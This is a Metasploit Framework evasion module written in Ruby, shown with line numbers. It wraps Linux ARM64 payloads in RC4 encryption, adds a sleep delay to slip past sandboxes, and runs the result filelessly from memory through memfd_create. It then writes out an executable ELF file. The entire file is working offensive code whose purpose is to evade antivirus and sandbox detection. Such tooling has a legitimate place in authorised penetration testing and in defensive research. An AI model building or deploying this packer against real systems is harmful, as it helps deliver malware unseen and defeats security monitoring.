1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Evasion
7

8
  include Msf::Payload::Linux::Aarch64::Rc4Decrypter
9
  include Msf::Payload::Linux::Aarch64::ElfLoader
10
  include Msf::Payload::Linux::Aarch64::SleepEvasion
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Linux RC4 Packer with In-Memory Execution',
17
        'Description' => %q{
18
          This evasion module packs Linux payloads using RC4 encryption
19
          and executes them from memory using memfd_create for fileless execution.
20
          Linux kernel version support: 3.17+
21
        },
22
        'Author' => ['Massimo Bertocchi'],
23
        'License' => MSF_LICENSE,
24
        'Platform' => 'linux',
25
        'Arch' => [ARCH_AARCH64],
26
        'Targets' => [['Linux ARM64/AArch64', {}]],
27
        'DefaultTarget' => 0
28
      )
29
    )
30

31
    register_options([
32
      OptString.new('FILENAME', [true, 'Output filename', 'payload.elf']),
33
      OptInt.new('SLEEP_TIME', [false, 'Sleep Time for Sandbox Evasion', 0]),
34
    ])
35
  end
36

37
  def run
38
    raw_payload = payload.encoded
39
    if raw_payload.blank?
40
      fail_with(Failure::BadConfig, 'Failed to generate payload')
41
    end
42

43
    elf_payload = Msf::Util::EXE.to_linux_aarch64_elf(framework, raw_payload)
44
    complete_loader = sleep_evasion(seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload))
45
    final_elf = Msf::Util::EXE.to_linux_aarch64_elf(framework, complete_loader)
46

47
    File.binwrite(datastore['FILENAME'], final_elf)
48
    File.chmod(0o755, datastore['FILENAME'])
49
  end
50
end
51

52